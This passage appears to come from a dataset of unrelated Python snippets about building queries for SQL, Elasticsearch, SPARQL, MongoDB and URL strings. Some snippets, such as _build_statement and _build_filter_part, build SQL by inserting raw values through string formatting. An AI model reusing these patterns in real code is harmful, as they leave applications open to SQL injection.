counts\\n count = pd.read_csv(os.path.join(db_dir, count_fp % part))\\n count = count[count[doc_ind].isin(doc_map.index)]\\n count = count[count[term_ind].isin(term_map.index)]\\n count[\\\"term_id\\\"] = count[term_ind].map(term_map)\\n count[\\\"doc_id\\\"] = count[doc_ind].map(doc_map)\\n if countfn:\\n count = countfn(count)\\n count = count[[\\\"doc_id\\\", \\\"term_id\\\", \\\"count\\\"]]\\n count.to_csv(os.path.join(out_dir, count_fp % part), index=False)\",\n \"def query_from_strings(\\n query_cls: Type[query.CollectionQuery],\\n model_cls: Type[Model],\\n prefixes: Dict,\\n query_parts: Collection[str],\\n) -> query.Query:\\n subqueries = []\\n for part in query_parts:\\n subqueries.append(construct_query_part(model_cls, prefixes, part))\\n if not subqueries: # No terms in query.\\n subqueries = [query.TrueQuery()]\\n return query_cls(subqueries)\",\n \"def build_match_clause_and(field, string):\\r\\n answer = {}\\r\\n tmp = {}\\r\\n tmp[field] = {}\\r\\n tmp[field]['query'] = string\\r\\n tmp[field]['operator'] = 'and'\\r\\n answer['match'] = tmp\\r\\n return answer\",\n \"def test_to_query_string(self):\\n self.assertEqual(\\n ClassicAPIQuery(id_list=[]).to_query_string(),\\n \\\"search_query=&id_list=&start=0&max_results=10\\\",\\n )\\n self.assertEqual(\\n ClassicAPIQuery(\\n search_query=\\\"all:electron\\\", id_list=[]\\n ).to_query_string(),\\n \\\"search_query=all:electron&id_list=&start=0&max_results=10\\\",\\n )\\n self.assertEqual(\\n ClassicAPIQuery(\\n search_query=\\\"all:electron\\\",\\n id_list=[\\\"1705.09169v3\\\", \\\"1705.09129v3\\\"],\\n ).to_query_string(),\\n \\\"search_query=all:electron&id_list=1705.09169v3,1705.09129v3\\\"\\n \\\"&start=0&max_results=10\\\",\\n )\\n self.assertEqual(\\n ClassicAPIQuery(\\n search_query=\\\"all:electron\\\",\\n id_list=[\\\"1705.09169v3\\\", \\\"1705.09129v3\\\"],\\n page_start=3,\\n ).to_query_string(),\\n \\\"search_query=all:electron&id_list=1705.09169v3,1705.09129v3\\\"\\n \\\"&start=3&max_results=10\\\",\\n )\\n self.assertEqual(\\n ClassicAPIQuery(\\n search_query=\\\"all:electron\\\",\\n id_list=[\\\"1705.09169v3\\\", \\\"1705.09129v3\\\"],\\n page_start=3,\\n size=50,\\n ).to_query_string(),\\n \\\"search_query=all:electron&id_list=1705.09169v3,1705.09129v3\\\"\\n \\\"&start=3&max_results=50\\\",\\n )\\n self.assertEqual(\\n ClassicAPIQuery(\\n search_query=\\\"all:electron\\\", page_start=3, size=50\\n ).to_query_string(),\\n \\\"search_query=all:electron&id_list=&start=3&max_results=50\\\",\\n )\\n self.assertEqual(\\n ClassicAPIQuery(\\n id_list=[\\\"1705.09169v3\\\", \\\"1705.09129v3\\\"], page_start=3, size=50\\n ).to_query_string(),\\n \\\"search_query=&id_list=1705.09169v3,1705.09129v3\\\"\\n \\\"&start=3&max_results=50\\\",\\n )\\n self.assertEqual(\\n ClassicAPIQuery(\\n search_query=\\\"all:electron\\\", size=50\\n ).to_query_string(),\\n \\\"search_query=all:electron&id_list=&start=0&max_results=50\\\",\\n )\",\n \"def build_social_media_match_clause(field, string, boost=30.0):\\r\\n answer = {}\\r\\n tmp = {}\\r\\n tmp[field] = dict()\\r\\n tmp[field]['query'] = string\\r\\n tmp[field]['boost'] = boost\\r\\n tmp[field]['operator'] = 'and'\\r\\n answer['match'] = tmp\\r\\n return answer\",\n \"def make_complex_query_set(self):\\n\\n query = self.request.GET.get(\\\"q\\\")\\n category = self.request.GET.get(\\\"category\\\")\\n title = self.request.GET.get(\\\"title\\\")\\n\\n q_object = Q()\\n\\n if query:\\n q_object.add((\\n Q(category__category_name__icontains=query) |\\n Q(title__icontains=query) \\n ), Q.OR)\\n\\n else:\\n if category:\\n q_object.add(\\n Q(category=category),\\n Q.AND)\\n if title:\\n q_object.add(\\n Q(title__icontains=title),\\n Q.AND)\\n\\n return q_object\",\n \"def single_query(term_list, subj):\\n entity = '?s' if subj else '?o'\\n # make a query with the term as subj OR obj:\\n query = f\\\"\\\"\\\"\\n SELECT ?s ?sLabel ?property ?propertyLabel ?o ?oLabel\\n WHERE\\n {{\\n VALUES ?item {{ {term_list} }}\\n {entity} rdfs:label | skos:altLabel ?item. # Look for both labels and aliases\\n ?s ?p ?o.\\n ?property wikibase:directClaim ?p .\\n MINUS {{ ?property wikibase:propertyType wikibase:ExternalId . }} # Remode external identifiers from the result\\n SERVICE wikibase:label {{ bd:serviceParam wikibase:language \\\"[AUTO_LANGUAGE],en\\\". }}\\n }}\\n ORDER BY ?s\\n LIMIT 20\\n \\\"\\\"\\\"\\n return apply_request(query)\",\n \"def make_query(recid='', endpoint='_search', theq='', terms=None, facets=None, should_terms=None, consistent_order=True, **kwargs):\\n q = deepcopy(theq)\\n if recid and not recid.endswith('/'):\\n recid += '/'\\n if isinstance(q, dict):\\n query = q\\n if 'bool' not in query['query']:\\n boolean = {'bool': {'must': []}}\\n boolean['bool']['must'].append(query['query'])\\n query['query'] = boolean\\n if 'must' not in query['query']['bool']:\\n query['query']['bool']['must'] = []\\n elif q:\\n query = {\\n 'query': {\\n 'bool': {\\n 'must': [\\n {'query_string': {'query': q}}\\n ]\\n }\\n }\\n }\\n else:\\n query = {\\n 'query': {\\n 'bool': {\\n 'must': [\\n {'match_all': {}}\\n ]\\n }\\n }\\n }\\n\\n if facets:\\n if 'facets' not in query:\\n query['facets'] = {}\\n for k, v in facets.items():\\n query['facets'][k] = {\\\"terms\\\": v}\\n\\n if terms:\\n boolean = {'must': []}\\n for term in terms:\\n if not isinstance(terms[term], list):\\n terms[term] = [terms[term]]\\n for val in terms[term]:\\n obj = {'term': {}}\\n obj['term'][term] = val\\n boolean['must'].append(obj)\\n if q and not isinstance(q, dict):\\n boolean['must'].append({'query_string': {'query': q}})\\n elif q and 'query' in q:\\n boolean['must'].append(query['query'])\\n query['query'] = {'bool': boolean}\\n\\n # FIXME: this may only work if a term is also supplied above - code is a bit tricky to read\\n if should_terms is not None and len(should_terms) > 0:\\n for s in should_terms:\\n if not isinstance(should_terms[s], list):\\n should_terms[s] = [should_terms[s]]\\n query[\\\"query\\\"][\\\"bool\\\"][\\\"must\\\"].append({\\\"terms\\\": {s: should_terms[s]}})\\n\\n sort_specified = False\\n for k, v in kwargs.items():\\n if k == '_from':\\n query['from'] = v\\n elif k == 'sort':\\n sort_specified = True\\n query['sort'] = v\\n else:\\n query[k] = v\\n if \\\"sort\\\" in query:\\n sort_specified = True\\n\\n if not sort_specified and consistent_order:\\n query['sort'] = [{\\\"id\\\": {\\\"order\\\": \\\"asc\\\"}}]\\n\\n # print json.dumps(query)\\n return query\",\n \"def _get_queries(args):\\n if args.mode == '2DSEQ':\\n queries = [\\\"@type=='2dseq'\\\", \\\"@is_spectroscopy==True\\\", \\\"@is_complex==True\\\"]\\n elif args.mode == 'FID':\\n queries = [\\\"@type=='fid'\\\", \\\"@is_spectroscopy==True\\\"]\\n return queries + args.query\",\n \"def get_list_query_cond(column: str, val: list, query_params: dict):\\n if val is not None and len(val) != 0:\\n or_list = []\\n for i in range(len(val)):\\n param_name = f'{column}{i}'\\n query_params[param_name] = val[i]\\n or_list.append('AHJ.' + column + '=%(' + param_name + ')s')\\n ret_str = '(' + ' OR '.join(or_list) + ') AND '\\n return ret_str\\n return ''\",\n \"def _build_filter_part(self, cls, filters, order_by=None, select=None):\\r\\n import types\\r\\n query_parts = []\\r\\n\\r\\n order_by_filtered = False\\r\\n\\r\\n if order_by:\\r\\n if order_by[0] == \\\"-\\\":\\r\\n order_by_method = \\\"DESC\\\";\\r\\n order_by = order_by[1:]\\r\\n else:\\r\\n order_by_method = \\\"ASC\\\";\\r\\n\\r\\n if select:\\r\\n if order_by and order_by in select:\\r\\n order_by_filtered = True\\r\\n query_parts.append(\\\"(%s)\\\" % select)\\r\\n\\r\\n if isinstance(filters, str) or isinstance(filters, unicode):\\r\\n query = \\\"WHERE %s AND `__type__` = '%s'\\\" % (filters, cls.__name__)\\r\\n if order_by in [\\\"__id__\\\", \\\"itemName()\\\"]:\\r\\n query += \\\" ORDER BY itemName() %s\\\" % order_by_method\\r\\n elif order_by != None:\\r\\n query += \\\" ORDER BY `%s` %s\\\" % (order_by, order_by_method)\\r\\n return query\\r\\n\\r\\n for filter in filters:\\r\\n filter_parts = []\\r\\n filter_props = filter[0]\\r\\n if type(filter_props) != list:\\r\\n filter_props = [filter_props]\\r\\n for filter_prop in filter_props:\\r\\n (name, op) = filter_prop.strip().split(\\\" \\\", 1)\\r\\n value = filter[1]\\r\\n property = cls.find_property(name)\\r\\n if name == order_by:\\r\\n order_by_filtered = True\\r\\n if types.TypeType(value) == types.ListType:\\r\\n filter_parts_sub = []\\r\\n for val in value:\\r\\n val = self.encode_value(property, val)\\r\\n if isinstance(val, list):\\r\\n for v in val:\\r\\n filter_parts_sub.append(self._build_filter(property, name, op, v))\\r\\n else:\\r\\n filter_parts_sub.append(self._build_filter(property, name, op, val))\\r\\n filter_parts.append(\\\"(%s)\\\" % (\\\" OR \\\".join(filter_parts_sub)))\\r\\n else:\\r\\n val = self.encode_value(property, value)\\r\\n if isinstance(val, list):\\r\\n for v in val:\\r\\n filter_parts.append(self._build_filter(property, name, op, v))\\r\\n else:\\r\\n filter_parts.append(self._build_filter(property, name, op, val))\\r\\n query_parts.append(\\\"(%s)\\\" % (\\\" or \\\".join(filter_parts)))\\r\\n\\r\\n\\r\\n type_query = \\\"(`__type__` = '%s'\\\" % cls.__name__\\r\\n for subclass in self._get_all_decendents(cls).keys():\\r\\n type_query += \\\" or `__type__` = '%s'\\\" % subclass\\r\\n type_query +=\\\")\\\"\\r\\n query_parts.append(type_query)\\r\\n\\r\\n order_by_query = \\\"\\\"\\r\\n\\r\\n if order_by:\\r\\n if not order_by_filtered:\\r\\n query_parts.append(\\\"`%s` LIKE '%%'\\\" % order_by)\\r\\n if order_by in [\\\"__id__\\\", \\\"itemName()\\\"]:\\r\\n order_by_query = \\\" ORDER BY itemName() %s\\\" % order_by_method\\r\\n else:\\r\\n order_by_query = \\\" ORDER BY `%s` %s\\\" % (order_by, order_by_method)\\r\\n\\r\\n if len(query_parts) > 0:\\r\\n return \\\"WHERE %s %s\\\" % (\\\" AND \\\".join(query_parts), order_by_query)\\r\\n else:\\r\\n return \\\"\\\"\",\n \"def makeQuery(specs):\\n size = len(specs)\\n req = specs[0]\\n\\n # Create the header\\n message = struct.pack('!HHHHHH', 1, 0, 1, 0, 0, 0)\\n\\n num = req.count('.')\\n mylist = req.split('.')\\n\\n # Create the question and add it to the header\\n for string in mylist:\\n query = struct.pack(\\\"!b\\\"+str(len(string))+\\\"s\\\", len(string), string.encode('utf-8'))\\n message = message + query\\n\\n # If the query is Type-A otherwise it is Type-MX\\n if size == 1:\\n message = message + struct.pack(\\\"!bHH\\\", 0,1,1)\\n\\n elif size == 2:\\n message = message + struct.pack(\\\"!bHH\\\", 0, 15, 1)\\n\\n return message\",\n \"def get_by_parts(self, *parts):\\n ...\",\n \"def query_str(self):\\n return \\\"(seqid == %r) & (start >= %s) & (end <= %s)\\\" % (self.seqid, self.start, self.end)\",\n \"def _query_builder(self,\\n start_date=None,\\n end_date=None,\\n clipper=None\\n ):\\n search_string='format=json&lang=fr&q='\\n if (start_date is not None):\\n if(end_date is not None):\\n search_string+='entre+'+start_date+'+et+'+end_date\\n else:\\n search_string+=start_date\\n elif(end_date is not None): \\n search_string+=end_date\\n \\n if(clipper.query is not None):\\n query=clipper.query.replace(' ','+')\\n search_string+='+'+query\\n if(clipper.bbox is not None):\\n search_string+='&box='+clipper.bbox\\n\\n return search_string\",\n \"def get_basic_query_cond(column: str, val: str, query_params: dict):\\n if val is not None:\\n query_params[column] = val\\n return 'AHJ.' + column + '=%(' + column + ')s AND '\\n return ''\",\n \"def make_query(graph, ns, request_schema, response_schema):\\n @graph.route(\\\"/v1/foo/get\\\", Operation.Query, ns)\\n @qs(request_schema)\\n @response(response_schema)\\n def foo_query():\\n \\\"\\\"\\\"\\n My doc string\\n \\\"\\\"\\\"\\n request_data = load_query_string_data(request_schema)\\n response_data = dict(\\n result=True,\\n value=request_data[\\\"required_value\\\"],\\n )\\n return dump_response_data(response_schema, response_data, Operation.Query.value.default_code)\",\n \"def build_query(db, request, tags):\\n inner_query, clauses = build_inner_query(request, tags)\\n if len(tags) and tags[-1][0] == 'uuid':\\n # if we select uuid as the trailing tag we have to be special\\n query = \\\"\\\"\\\"\\nSELECT DISTINCT s.uuid \\nFROM stream AS s\\nWHERE s.id IN \\\"\\\"\\\" + inner_query\\n elif len(tags) and (tags[-1][1] == None or tags[-1][1] == ''):\\n # odd-numbered clasues, so we print matching values of tags\\n t = escape_string(tags[-1][0])\\n query = \\\"\\\"\\\"\\nSELECT DISTINCT metadata -> %s AS svals FROM stream\\nWHERE id IN %s AND metadata ? %s\\nORDER BY svals ASC\\\"\\\"\\\" % (t, inner_query, t)\\n else:\\n # otherwise we print all tags matching the restriction\\n query = \\\"\\\"\\\"\\nSELECT DISTINCT skeys\\nFROM (\\n SELECT skeys(metadata) FROM stream\\n WHERE id IN %s\\n) AS skeys ORDER BY skeys ASC\\\"\\\"\\\" % inner_query\\n\\n log.msg(query)\\n d = db.runQuery(query)\\n d.addCallback(log_time, time.time())\\n return d\",\n \"def query3() :\",\n \"def SplitQuery(self, request, context):\\n context.code(beta_interfaces.StatusCode.UNIMPLEMENTED)\",\n \"def build_query(selections, exclude=None):\\n other_selected = {sel for c, sel in selections.items() if (c != exclude and sel != -1)}\\n if other_selected:\\n return ' and '.join(other_selected)\\n else:\\n return None\",\n \"def _build_collection_query(collection, recurse, startcol):\\n\\n if type(collection) == str:\\n cond = SQLBinaryExpr(COL_NAME_COLL_NAME, OP_LIKE, SQLLiteral(collection))\\n sbe = GenericSQLSelect([COL_NAME_COLL_COLLID], False, [TABLE_NAME_COLL], cond)\\n oper = OP_IN\\n else:\\n sbe = SQLIntegral(collection)\\n oper = OP_EQ\\n\\n sbe = SQLBinaryExpr(startcol, oper, sbe)\\n\\n if not recurse:\\n return sbe, None\\n\\n virtcoll = \\\"coll\\\"\\n start = GenericSQLSelect([COL_NAME_COLL_COLLID], False, [TABLE_NAME_COLL], sbe)\\n join = SQLJoinExpr(TABLE_NAME_COLL, OP_INNER_JOIN, SQLTableExpr(GEN_RECUR_NAME, \\\"r\\\"),\\n SQLBinaryExpr(COL_NAME_COLL_PARENTID, OP_EQ, SQLColumnExpr(\\\"r\\\", virtcoll)))\\n stop = GenericSQLSelect([COL_NAME_COLL_COLLID], False, [join])\\n outer = GenericSQLSelect([virtcoll], False, [GEN_RECUR_NAME])\\n wexp = str(SQLConcatExpr(EXPR_WITH, SQLFuncExpr(GEN_RECUR_NAME, virtcoll)))\\n wexp = SQLBinaryExpr(wexp, OP_AS, SQLConcatExpr(start, OP_UNION_ALL, stop))\\n\\n return wexp, outer\",\n \"def join_string(part1, part2, concatenation_string = 'AND', seperator=' '):\\n\\n if part1 == '':\\n return part2\\n\\n elif part2 == '':\\n return part1\\n\\n\\n if part1[-1] == seperator:\\n sep1 = ''\\n else:\\n sep1 = seperator\\n\\n\\n if part2[0] == seperator:\\n sep2 = ''\\n else:\\n sep2 = ' '\\n\\n\\n return part1 + sep1 + concatenation_string + sep2 + part2\",\n \"def _build_statement(self, query, query_key, beets_key):\\n statement = \\\"\\\"\\n if query_key in query:\\n for query_string in query[query_key]:\\n if '\\\"' in query_string:\\n statement += \\\" and %s = \\\\'%s\\\\' \\\" % (beets_key,\\n query_string)\\n else:\\n statement += ' and %s = \\\\\\\"%s\\\\\\\" ' % (beets_key,\\n query_string)\\n return statement\",\n \"def make_query(self):\",\n \"def build_phone_match_clause(field, string, boost=100):\\r\\n answer = {}\\r\\n tmp = {}\\r\\n string1 = ''\\r\\n for char in string:\\r\\n if re.search(\\\"[^0-9]\\\", char) is None:\\r\\n string1 += char\\r\\n if 'raw' in field: # no further processing; since this is not analyzed\\r\\n tmp[field] = dict()\\r\\n tmp[field]['query'] = string1\\r\\n tmp[field]['boost'] = boost\\r\\n answer['match'] = tmp\\r\\n return answer\\r\\n candidates = list()\\r\\n candidates.append(string1)\\r\\n if 'tokens' in field and '000' in string1 and len(string1)==10: # we do not extract this, so we need to do this\\r\\n k = string1[0:3]+' '+string1[3:6]+' '+string[6:]\\r\\n candidates.append(k)\\r\\n tmp[field] = dict()\\r\\n tmp[field]['query'] = ' '.join(candidates)\\r\\n tmp[field]['operator'] = 'and'\\r\\n # tmp[field]['boost'] = 3.0\\r\\n answer['match'] = tmp\\r\\n return answer\\r\\n # not tokens, we proceed now on a stricter basis\\r\\n\\r\\n if len(string1) > 10:\\r\\n candidates.append(string1[2:])\\r\\n if SparqlTranslator.SparqlTranslator._strip_initial_zeros(string1) != string1:\\r\\n candidates.append(SparqlTranslator.SparqlTranslator._strip_initial_zeros(string1))\\r\\n tmp[field] = dict()\\r\\n tmp[field]['query'] = ' '.join(candidates)\\r\\n tmp[field]['boost'] = boost\\r\\n answer['match'] = tmp\\r\\n return answer\",\n \"def _get_query(self):\\n\\n endpoint = ENDPOINTS[self.sync_data.endpoint_index]\\n marker = self.sync_data.markers.get(self.sync_data.endpoint_index, START_OF_TIME)\\n\\n query_string = \\\"select \\\" + \\\",\\\".join(ENDPOINT_QUERY_FIELDS[endpoint])\\n\\n # ZOQL does not support the `order by` sorting\\n query_string = query_string + \\\" from {} where UpdatedDate > '{}'\\\".format(\\n endpoint,\\n marker\\n )\\n\\n return query_string\",\n \"def build_query_clauses(\\n where: str = \\\"\\\", order: str = \\\"\\\", limit: int = 0, offset: int = 0\\n ) -> str:\\n return SqliteQueryBuilder.build_query_clauses(where, order, limit, offset)\",\n \"def _assemble(self):\\n selectop = self._headopt and f'{self._headopt}' or ''\\n select = f'{selectop} ' + ', '.join(self._head)\\n froms = 'from ' + ', '.join(self._tables)\\n joins = ' '.join(self._joins)\\n wheres, wkw = self._build_where()\\n\\n order = ''\\n if self._order:\\n order = f'order by {self._order[0]} {self._order[1]}'\\n limit = ''\\n if self._limit:\\n limit = f'limit {self._limit}'\\n\\n kw = self._kw.copy()\\n kw.update(wkw)\\n return (f'select {select} '\\n f'{froms} '\\n f'{joins} '\\n f'{wheres} '\\n f'{order} '\\n f'{limit}'\\n ), kw\",\n \"def build_email_match_clause(field, string):\\r\\n answer = {}\\r\\n tmp = {}\\r\\n tmp[field] = dict()\\r\\n tmp[field]['query'] = string\\r\\n tmp[field]['boost'] = 30.0\\r\\n tmp[field]['operator'] = 'and'\\r\\n answer['match'] = tmp\\r\\n return answer\",\n \"def _build_field_request(self):\\n include = []\\n for field in self.fields:\\n if self.fields[field] is True:\\n include.append(field)\\n include = '&printFields=' + ','.join(include)\\n return include\",\n \"def part1(_input):\\n\\n return None\",\n \"def build_mongo_index_query(input=None):\\n result = {}\\n input=input.split()\\n if len(input) < 2:\\n result['word']=input[0]\\n else:\\n result['$or']=[]\\n for item in input:\\n result['$or'].append({'word':item})\\n return result\",\n \"def genQrelStr(queryId, docId, relGrade):\\n return f'{queryId} 0 {docId} {relGrade}'\",\n \"def request(query):\",\n \"def build_match_phrase_clause(field, string):\\r\\n answer = {}\\r\\n tmp = {}\\r\\n tmp[field] = string\\r\\n answer['match_phrase'] = tmp\\r\\n return answer\",\n \"def query(self, query):\",\n \"def __init__(self, query, from_field, to_field):\\n self._query = '{!join}' + query\\n self._from = from_field\\n self._to = to_field\",\n \"def pp_query(query):\\n print(format_query(query))\",\n \"def test_build_term_query(term, expected):\\n query = _build_term_query(term, fields=('country.id', 'sector'))\\n assert query.to_dict() == expected\",\n \"def build_match_clause(field, string):\\r\\n answer = {}\\r\\n tmp = {}\\r\\n tmp[field] = string\\r\\n answer['match'] = tmp\\r\\n return answer\",\n \"def makeQueries(baseQuery, joiningChar):\\n results = []\\n searchQueries = sys.argv[2:]\\n for query in searchQueries: # for every individual query\\n queryList = query.split() # split individual terms in a query\\n # join them back with the joining char between them\\n formatedQuery = joiningChar.join(queryList)\\n # append the structured query to the result\\n results.append(baseQuery + formatedQuery)\\n return results\",\n \"def generate_query(self):\\n return\",\n \"def query(self):\\n q = dict(self._query)\\n fworker_check = [{\\\"spec._fworker\\\": {\\\"$exists\\\": False}}, {\\\"spec._fworker\\\": None}, {\\\"spec._fworker\\\": self.name}]\\n if \\\"$or\\\" in q:\\n q[\\\"$and\\\"] = q.get(\\\"$and\\\", [])\\n q[\\\"$and\\\"].extend([{\\\"$or\\\": q.pop(\\\"$or\\\")}, {\\\"$or\\\": fworker_check}])\\n else:\\n q[\\\"$or\\\"] = fworker_check\\n if self.category and isinstance(self.category, str):\\n if self.category == \\\"__none__\\\":\\n q[\\\"spec._category\\\"] = {\\\"$exists\\\": False}\\n else:\\n q[\\\"spec._category\\\"] = self.category\\n elif self.category: # category is list of str\\n q[\\\"spec._category\\\"] = {\\\"$in\\\": self.category}\\n\\n return q\",\n \"def build_query(devices, filter_inter, interactions_further=None):\\n\\n id_2_found = CsvFormat.other_id.value\\n if interactions_further is not None:\\n id_2_found = CsvFormat.my_id.value\\n\\n query = 'SELECT i._{} as id, CAST(i._{} as int) as timestamp_start, CAST(i._{} as float) as interval_time ' \\\\\\n 'FROM S3Object i WHERE CAST(i._{} as float) >= {}'.format(\\n id_2_found,\\n CsvFormat.timestamp_start.value,\\n CsvFormat.interval.value,\\n CsvFormat.interval.value,\\n MINIMUM_INTERVAL_TIME)\\n\\n if 'distance' in filter_inter:\\n if 'max' in filter_inter['distance']:\\n query += ' and CAST(i._{} as float) <= {}'.format(CsvFormat.distance_type.value,\\n filter_inter['distance']['max'])\\n if 'min' in filter_inter['distance']:\\n query += ' and CAST(i._{} as float) >= {}'.format(CsvFormat.distance_type.value,\\n filter_inter['distance']['min'])\\n\\n if interactions_further is not None:\\n condos = []\\n for inter in interactions_further:\\n orcond = '(i._{}=\\\\'{}\\\\' and (CAST(i._{} as float) between {} and {} or CAST(i._{} as float) between {} and {}))'\\\\\\n .format(CsvFormat.other_id.value,\\n inter['id'],\\n CsvFormat.timestamp_start.value,\\n inter['timestamp_start'],\\n int(inter['timestamp_start'] + inter['interval_time']),\\n CsvFormat.timestamp_end.value,\\n inter['timestamp_start'],\\n int(inter['timestamp_start'] + inter['interval_time'])\\n )\\n condos.append(orcond)\\n if len(condos) > 0:\\n query += ' and ' + ' or '.join(condos)\\n else:\\n query += ' and i._{} in (\\\\'{}\\\\')'.format(\\n CsvFormat.my_id.value,\\n '\\\\',\\\\''.join([str(x) for x in devices])\\n )\\n\\n return query\",\n \"def reformulate_query(s):\\n words = tokenize(s)\\n tags = [tag for _, tag in pos_tag(words)]\\n\\n if tags[-1] == '.':\\n words.pop()\\n\\n # what/who questions\\n if tags[0] in set(['WP', 'WDT']):\\n if tags[1] in set(['VBZ', 'VBD', 'VBP']):\\n if tags[-1] is not 'IN':\\n exact_query = '{0}\\\\s*{1}\\\\s*{2}'.format(' '.join(words[2:]),\\n '(?:\\\\(.*\\\\))?', words[1])\\n inexact_query = '{0} {1}'.format(' '.join(words[2:]), words[1])\\n return exact_query, inexact_query\\n return s, s\",\n \"def _scryfall_query_builder(colors, query_type, deck_format):\\n base_query = consts.BASE_QUERIES[deck_format]\\n color_query = consts.COLOR_QUERIES[colors]\\n query_params = consts.QUERIES[deck_format][query_type]['query'] % {'colors': color_query}\\n\\n full_query = ' '.join([base_query, query_params])\\n\\n return full_query\",\n \"def _create_query_str(data):\\n params = []\\n for name, value in data.items():\\n params.append(name + '=' + str(value))\\n\\n return '?' + '&'.join(params)\",\n \"def parse_sorted_query(\\n model_cls: Type[Model],\\n parts: List[str],\\n prefixes: Dict = {},\\n case_insensitive: bool = True,\\n) -> Tuple[query.Query, Sort]:\\n # Separate query token and sort token.\\n query_parts = []\\n sort_parts = []\\n\\n # Split up query in to comma-separated subqueries, each representing\\n # an AndQuery, which need to be joined together in one OrQuery\\n subquery_parts = []\\n for part in parts + [',']:\\n if part.endswith(','):\\n # Ensure we can catch \\\"foo, bar\\\" as well as \\\"foo , bar\\\"\\n last_subquery_part = part[:-1]\\n if last_subquery_part:\\n subquery_parts.append(last_subquery_part)\\n # Parse the subquery in to a single AndQuery\\n # TODO: Avoid needlessly wrapping AndQueries containing 1 subquery?\\n query_parts.append(query_from_strings(\\n query.AndQuery, model_cls, prefixes, subquery_parts\\n ))\\n del subquery_parts[:]\\n else:\\n # Sort parts (1) end in + or -, (2) don't have a field, and\\n # (3) consist of more than just the + or -.\\n if part.endswith(('+', '-')) \\\\\\n and ':' not in part \\\\\\n and len(part) > 1:\\n sort_parts.append(part)\\n else:\\n subquery_parts.append(part)\\n\\n # Avoid needlessly wrapping single statements in an OR\\n q = query.OrQuery(query_parts) if len(query_parts) > 1 else query_parts[0]\\n s = sort_from_strings(model_cls, sort_parts, case_insensitive)\\n return q, s\",\n \"def filter_query_result(self, result, varenv):\\n if isinstance(result, list):\\n filter_result = []\\n for elem in result:\\n # need this pointer to get index results properly sorted.\\n elem.list = result\\n filter_result.append(self.filter_query_result(elem, varenv))\\n elif isinstance(result, dict):\\n filter_result = {}\\n for key, asked in result.query.original_query.iteritems():\\n if key[0] in '@:':\\n basekey = key[1:]\\n if basekey == 'id':\\n filter_result[key] = asked\\n # horrible hack to collect up the guids we care about...\\n if asked is None:\\n varenv.guid_list.append(result[key[0] + 'guid'])\\n elif (basekey in QueryPrimitive.directives or\\n basekey in QueryPrimitive.special):\\n # should we output these?\\n filter_result[key] = asked\\n elif key[0] == '@' and result.query.get(\\n '@optional') and key not in result:\\n # XXX here we actually will give you an empty result\\n # we could give you nothing at all\\n filter_result[key] = None\\n elif basekey == 'guid':\\n filter_result[key] = result[key]\\n elif basekey == 'value':\\n # sanitize results.\\n filter_result[key] = self.sanitize_value(\\n result[key], result[key[0] + 'datatype'], varenv)\\n elif basekey in QueryPrimitive.values:\\n # this better be what you said!!!\\n filter_result[key] = result[key]\\n elif basekey == 'index':\\n filter_result[key] = self.generate_index_read_result(result)\\n elif basekey in QueryPrimitive.pointers:\\n # might be direct sub-query or constraint, or query\\n if isinstance(asked, dict):\\n # sub-query, return it\\n filter_result[key] = self.filter_query_result(result[key], varenv)\\n else:\\n if asked is None:\\n # we'll be asking for the id of this thing, not just the guid.\\n varenv.lookup_manager.guid_list.append(result[key])\\n\\n # just give back the guid\\n filter_result[key] = result[key]\\n elif valid_relname(key):\\n # skip optional results we didn't get a value for.\\n if result.query.get('@optional') and key not in result:\\n # XXX should we give you None as a result rather than leaving it out completely?\\n pass\\n else:\\n # is this a ResultError or an InternalError?\\n if key not in result:\\n raise MQLInternalError(\\n result.query, \\\"No return result for '%(key)s'\\\", key=key)\\n else:\\n filter_result[key] = self.filter_query_result(result[key], varenv)\\n\\n elif key[0] == '?':\\n # it's possible that we didn't find any order information, so give back null in that case\\n filter_result[key] = result.get(key, None)\\n else:\\n raise MQLInternalError(\\n result.query,\\n \\\"Didn't expect to see %(key)s in original query while filtering\\\",\\n key=key)\\n\\n result.filter = filter_result\\n elif result is None:\\n # there's no result here even though we expected one.\\n filter_result = result\\n else:\\n raise MQLInternalError(\\n result.query, \\\"Didn't understand result\\\", result=result)\\n\\n return filter_result\",\n \"def format_query(query, page):\\n from_result = (page - 1) * RESULTS_PER_PAGE\\n return json.dumps({\\n 'query': {\\n 'bool': {\\n 'must': {\\n 'bool': {\\n 'should': [\\n {\\n 'match': {\\n 'name': {\\n 'query': query,\\n 'minimum_should_match': '2<75%'\\n }\\n }\\n },\\n {\\n 'match': {\\n 'content': {\\n 'query': query,\\n 'minimum_should_match': '2<75%'\\n }\\n }\\n },\\n {'match': {'keywords': query}},\\n {'match': {'type': query}}\\n ]\\n }\\n },\\n 'should': [\\n {'match': {\\n 'type': {\\n 'query': 'Article',\\n 'boost': 10000\\n }\\n }},\\n {'match': {\\n 'type': {\\n 'query': 'Market',\\n 'boost': 10000\\n }\\n }},\\n {'match': {\\n 'type': {\\n 'query': 'Service',\\n 'boost': 20000\\n }\\n }},\\n {'match': {\\n 'type': {\\n 'query': 'dit:Article',\\n 'boost': 10000\\n }\\n }},\\n {'match': {\\n 'type': {\\n 'query': 'dit:Market',\\n 'boost': 10000\\n }\\n }},\\n {'match': {\\n 'type': {\\n 'query': 'dit:Service',\\n 'boost': 20000\\n }\\n }}\\n ],\\n 'filter': [\\n {'terms': {\\n 'type': [\\n 'Article',\\n 'Opportunity',\\n 'Market',\\n 'Service',\\n 'dit:Article',\\n 'dit:Opportunity',\\n 'dit:Market',\\n 'dit:Service',\\n ]\\n }}\\n ]\\n }\\n },\\n 'from': from_result,\\n 'size': RESULTS_PER_PAGE\\n })\",\n \"def test_single(self):\\n q = big_query_query.Query()\\n q.filter('int', 123)\\n q.filter('float', 123.456)\\n q.filter('bool', True)\\n q.filter('string', 'test\\\"t\\\\nest')\\n\\n self.assertEqual(('(int = 123 AND float = 123.456 AND bool = true AND '\\n 'string = \\\"test\\\\\\\\\\\"t\\\\\\\\nest\\\")'), q.get_where_clause())\",\n \"def build_query(self):\\r\\n # build query from base class add required field for joining with parent\\r\\n query = super().build_query()\\r\\n query = query.filter(Metric.metric_id == QuantModelMetric.metric_id)\\r\\n\\r\\n # get the remaining query parameters\\r\\n asset_class = request.args.get('asset_class')\\r\\n model_name = request.args.get('model_name')\\r\\n pricing_library = request.args.get('pricing_library')\\r\\n\\r\\n # process each parameter and, if valid, add as a query condition\\r\\n if asset_class is not None:\\r\\n query = query.filter(QuantModelMetric.asset_class == asset_class)\\r\\n if model_name is not None:\\r\\n query = query.filter(QuantModelMetric.model_name == model_name)\\r\\n if pricing_library is not None:\\r\\n query = query.filter(QuantModelMetric.pricing_library == pricing_library)\\r\\n return 